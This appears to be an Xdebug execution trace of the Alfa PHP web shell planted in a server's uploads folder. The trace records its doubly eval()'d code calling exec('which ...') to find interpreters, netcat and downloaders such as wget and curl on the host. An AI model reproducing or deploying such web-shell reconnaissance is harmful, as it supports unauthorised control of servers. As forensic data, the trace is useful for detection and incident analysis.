8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 340 0 0.097974 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 340 1 0.097989 3450520
9 340 R TRUE
9 341 0 0.098003 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which php' ''
9 341 1 0.099227 3451024
9 341 R '/usr/bin/php'
9 342 0 0.099254 3450920 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' [0 => '/usr/bin/php']
9 342 1 0.099281 3450984
9 342 R '/usr/bin/php'
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = '/usr/bin/php'
8 339 1 0.099318 3450520
8 339 R '/usr/bin/php'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = '/usr/bin/php'
7 338 1 0.099345 3450520
7 338 R '/usr/bin/php'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = '/usr/bin/php'
6 337 1 0.099373 3450440
6 337 R 12
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 $x++
6 343 0 0.099400 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 1 'perl'
7 344 0 0.099415 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which perl' FALSE FALSE ???
8 345 0 0.099432 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which perl' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 346 0 0.099459 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 346 1 0.099474 3450520
9 346 R TRUE
9 347 0 0.099487 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which perl' ''
9 347 1 0.100660 3451024
9 347 R '/usr/bin/perl'
9 348 0 0.100736 3450920 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' [0 => '/usr/bin/perl']
9 348 1 0.100756 3450984
9 348 R '/usr/bin/perl'
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = '/usr/bin/perl'
8 345 1 0.100786 3450520
8 345 R '/usr/bin/perl'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = '/usr/bin/perl'
7 344 1 0.100815 3450520
7 344 R '/usr/bin/perl'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = '/usr/bin/perl'
6 343 1 0.100848 3450440
6 343 R 13
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 $x++
6 349 0 0.100875 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 1 'python'
7 350 0 0.100891 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which python' FALSE FALSE ???
8 351 0 0.100908 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which python' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 352 0 0.100935 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 352 1 0.100950 3450520
9 352 R TRUE
9 353 0 0.100963 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which python' ''
9 353 1 0.102105 3450624
9 353 R ''
9 354 0 0.102127 3450560 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' []
9 354 1 0.102144 3450624
9 354 R ''
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = ''
8 351 1 0.102171 3450480
8 351 R ''
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = ''
7 350 1 0.102197 3450480
7 350 R ''
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = ''
6 349 1 0.102221 3450440
6 349 R FALSE
6 355 0 0.102235 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 1 'ruby'
7 356 0 0.102251 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which ruby' FALSE FALSE ???
8 357 0 0.102267 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which ruby' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 358 0 0.102295 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 358 1 0.102310 3450520
9 358 R TRUE
9 359 0 0.102323 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which ruby' ''
9 359 1 0.103444 3450624
9 359 R ''
9 360 0 0.103468 3450560 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' []
9 360 1 0.103485 3450624
9 360 R ''
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = ''
8 357 1 0.103512 3450480
8 357 R ''
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = ''
7 356 1 0.103538 3450480
7 356 R ''
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = ''
6 355 1 0.103563 3450440
6 355 R FALSE
6 361 0 0.103577 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 1 'tar'
7 362 0 0.103592 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which tar' FALSE FALSE ???
8 363 0 0.103608 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which tar' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 364 0 0.103635 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 364 1 0.103650 3450520
9 364 R TRUE
9 365 0 0.103663 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which tar' ''
9 365 1 0.104861 3451024
9 365 R '/usr/bin/tar'
9 366 0 0.104889 3450920 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' [0 => '/usr/bin/tar']
9 366 1 0.104907 3450984
9 366 R '/usr/bin/tar'
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = '/usr/bin/tar'
8 363 1 0.104936 3450520
8 363 R '/usr/bin/tar'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = '/usr/bin/tar'
7 362 1 0.104963 3450520
7 362 R '/usr/bin/tar'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = '/usr/bin/tar'
6 361 1 0.104998 3450440
6 361 R 12
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 $x++
6 367 0 0.105025 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 1 'gzip'
7 368 0 0.105041 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which gzip' FALSE FALSE ???
8 369 0 0.105056 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which gzip' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 370 0 0.105084 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 370 1 0.105098 3450520
9 370 R TRUE
9 371 0 0.105112 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which gzip' ''
9 371 1 0.106354 3451024
9 371 R '/usr/bin/gzip'
9 372 0 0.106394 3450920 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' [0 => '/usr/bin/gzip']
9 372 1 0.106419 3450984
9 372 R '/usr/bin/gzip'
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = '/usr/bin/gzip'
8 369 1 0.106449 3450520
8 369 R '/usr/bin/gzip'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = '/usr/bin/gzip'
7 368 1 0.106476 3450520
7 368 R '/usr/bin/gzip'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = '/usr/bin/gzip'
6 367 1 0.106503 3450440
6 367 R 13
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 $x++
6 373 0 0.106529 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 1 'bzip'
7 374 0 0.106545 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which bzip' FALSE FALSE ???
8 375 0 0.106560 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which bzip' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 376 0 0.106588 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 376 1 0.106603 3450520
9 376 R TRUE
9 377 0 0.106616 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which bzip' ''
9 377 1 0.107746 3450624
9 377 R ''
9 378 0 0.107772 3450560 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' []
9 378 1 0.107790 3450624
9 378 R ''
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = ''
8 375 1 0.107817 3450480
8 375 R ''
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = ''
7 374 1 0.107842 3450480
7 374 R ''
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = ''
6 373 1 0.107867 3450440
6 373 R FALSE
6 379 0 0.107881 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 1 'bzialfa2'
7 380 0 0.107907 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which bzialfa2' FALSE FALSE ???
8 381 0 0.107924 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which bzialfa2' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 382 0 0.107952 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 382 1 0.107967 3450520
9 382 R TRUE
9 383 0 0.107980 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which bzialfa2' ''
9 383 1 0.109183 3450624
9 383 R ''
9 384 0 0.109208 3450560 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' []
9 384 1 0.109225 3450624
9 384 R ''
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = ''
8 381 1 0.109252 3450480
8 381 R ''
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = ''
7 380 1 0.109284 3450480
7 380 R ''
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = ''
6 379 1 0.109310 3450440
6 379 R FALSE
6 385 0 0.109325 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 1 'nc'
7 386 0 0.109340 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which nc' FALSE FALSE ???
8 387 0 0.109357 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which nc' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 388 0 0.109384 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 388 1 0.109399 3450520
9 388 R TRUE
9 389 0 0.109412 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which nc' ''
9 389 1 0.110553 3451024
9 389 R '/usr/bin/nc'
9 390 0 0.110579 3450920 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' [0 => '/usr/bin/nc']
9 390 1 0.110597 3450984
9 390 R '/usr/bin/nc'
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = '/usr/bin/nc'
8 387 1 0.110625 3450520
8 387 R '/usr/bin/nc'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = '/usr/bin/nc'
7 386 1 0.110652 3450520
7 386 R '/usr/bin/nc'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = '/usr/bin/nc'
6 385 1 0.110679 3450440
6 385 R 11
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 $x++
6 391 0 0.110706 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 1 'locate'
7 392 0 0.110722 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which locate' FALSE FALSE ???
8 393 0 0.110738 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which locate' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 394 0 0.110765 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 394 1 0.110780 3450520
9 394 R TRUE
9 395 0 0.110793 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which locate' ''
9 395 1 0.111923 3450624
9 395 R ''
9 396 0 0.111961 3450560 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' []
9 396 1 0.111985 3450624
9 396 R ''
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = ''
8 393 1 0.112022 3450480
8 393 R ''
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = ''
7 392 1 0.112048 3450480
7 392 R ''
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = ''
6 391 1 0.112081 3450440
6 391 R FALSE
6 397 0 0.112096 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 1 'suidperl'
7 398 0 0.112118 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which suidperl' FALSE FALSE ???
8 399 0 0.112142 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which suidperl' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 400 0 0.112176 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 400 1 0.112198 3450520
9 400 R TRUE
9 401 0 0.112218 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which suidperl' ''
9 401 1 0.113472 3450624
9 401 R ''
9 402 0 0.113497 3450560 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' []
9 402 1 0.113515 3450624
9 402 R ''
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = ''
8 399 1 0.113542 3450480
8 399 R ''
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = ''
7 398 1 0.113575 3450480
7 398 R ''
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = ''
6 397 1 0.113600 3450440
6 397 R FALSE
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1161 $downloaders = [0 => 'wget', 1 => 'fetch', 2 => 'lynx', 3 => 'links', 4 => 'curl', 5 => 'get', 6 => 'lwp-mirror']
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1162 $x = 0
6 403 0 0.113649 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1163 1 'wget'
7 404 0 0.113664 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which wget' FALSE FALSE ???
8 405 0 0.113680 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which wget' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 406 0 0.113707 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 406 1 0.113721 3450520
9 406 R TRUE
9 407 0 0.113735 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which wget' ''
9 407 1 0.114971 3451024
9 407 R '/usr/bin/wget'
9 408 0 0.115005 3450920 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' [0 => '/usr/bin/wget']
9 408 1 0.115024 3450984
9 408 R '/usr/bin/wget'
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = '/usr/bin/wget'
8 405 1 0.115060 3450520
8 405 R '/usr/bin/wget'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = '/usr/bin/wget'
7 404 1 0.115093 3450520
7 404 R '/usr/bin/wget'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = '/usr/bin/wget'
6 403 1 0.115120 3450440
6 403 R 13
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1163 $x++
6 409 0 0.115146 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1163 1 'fetch'
7 410 0 0.115161 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which fetch' FALSE FALSE ???
8 411 0 0.115177 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which fetch' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 412 0 0.115204 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 412 1 0.115219 3450520
9 412 R TRUE
9 413 0 0.115232 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which fetch' ''
9 413 1 0.116432 3450624
9 413 R ''
9 414 0 0.116456 3450560 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' []
9 414 1 0.116473 3450624
9 414 R ''
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = ''
8 411 1 0.116500 3450480
8 411 R ''
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = ''
7 410 1 0.116525 3450480
7 410 R ''
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = ''
6 409 1 0.116559 3450440
6 409 R FALSE
6 415 0 0.116573 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1163 1 'lynx'
7 416 0 0.116589 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which lynx' FALSE FALSE ???
8 417 0 0.116605 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which lynx' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 418 0 0.116632 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 418 1 0.116647 3450520
9 418 R TRUE
9 419 0 0.116660 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which lynx' ''
9 419 1 0.117912 3450624
9 419 R ''
9 420 0 0.117949 3450560 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' []
9 420 1 0.117979 3450624
9 420 R ''
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = ''
8 417 1 0.118014 3450480
8 417 R ''
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = ''
7 416 1 0.118039 3450480
7 416 R ''
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = ''
6 415 1 0.118063 3450440
6 415 R FALSE
6 421 0 0.118077 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1163 1 'links'
7 422 0 0.118092 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which links' FALSE FALSE ???
8 423 0 0.118109 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which links' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 424 0 0.118136 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 424 1 0.118150 3450520
9 424 R TRUE
9 425 0 0.118164 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which links' ''
9 425 1 0.119302 3450624
9 425 R ''
9 426 0 0.119337 3450560 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' []
9 426 1 0.119360 3450624
9 426 R ''
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = ''
8 423 1 0.119406 3450480
8 423 R ''
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = ''
7 422 1 0.119446 3450480
7 422 R ''
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = ''
6 421 1 0.119485 3450440
6 421 R FALSE
6 427 0 0.119506 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1163 1 'curl'
7 428 0 0.119528 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which curl' FALSE FALSE ???
8 429 0 0.119544 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which curl' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 430 0 0.119572 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 430 1 0.119587 3450520
9 430 R TRUE
9 431 0 0.119600 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which curl' ''
9 431 1 0.120786 3451024
9 431 R '/usr/bin/curl'
9 432 0 0.120823 3450920 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' [0 => '/usr/bin/curl']
9 432 1 0.120841 3450984
9 432 R '/usr/bin/curl'
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = '/usr/bin/curl'
8 429 1 0.120870 3450520
8 429 R '/usr/bin/curl'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = '/usr/bin/curl'
7 428 1 0.120897 3450520
7 428 R '/usr/bin/curl'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = '/usr/bin/curl'
6 427 1 0.120925 3450440
6 427 R 13
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1163 $x++
6 433 0 0.120952 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1163 1 'get'
7 434 0 0.120967 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which get' FALSE FALSE ???
8 435 0 0.120982 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which get' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 436 0 0.121009 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 436 1 0.121024 3450520
9 436 R TRUE
9 437 0 0.121037 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which get' ''
9 437 1 0.122299 3450624
9 437 R ''
9 438 0 0.122338 3450560 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' []
9 438 1 0.122361 3450624
9 438 R ''
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = ''
8 435 1 0.122396 3450480
8 435 R ''
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = ''
7 434 1 0.122422 3450480
7 434 R ''
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = ''
6 433 1 0.122446 3450440
6 433 R FALSE
6 439 0 0.122460 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1163 1 'lwp-mirror'
7 440 0 0.122475 3450488 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which lwp-mirror' FALSE FALSE ???
8 441 0 0.122492 3450488 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which lwp-mirror' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 442 0 0.122519 3450488 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 442 1 0.122534 3450528
9 442 R TRUE
9 443 0 0.122547 3450512 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which lwp-mirror' ''
9 443 1 0.123743 3451048
9 443 R '/usr/bin/lwp-mirror'
9 444 0 0.123769 3450936 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' [0 => '/usr/bin/lwp-mirror']
9 444 1 0.123788 3451000
9 444 R '/usr/bin/lwp-mirror'
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = '/usr/bin/lwp-mirror'
8 441 1 0.123817 3450536
8 441 R '/usr/bin/lwp-mirror'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = '/usr/bin/lwp-mirror'
7 440 1 0.123846 3450536
7 440 R '/usr/bin/lwp-mirror'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = '/usr/bin/lwp-mirror'
6 439 1 0.123873 3450440
6 439 R 19
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1163 $x++
6 445 0 0.123902 3450440 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1181 1 'get_magic_quotes_gpc'
6 445 1 0.123917 3450480
6 445 R TRUE
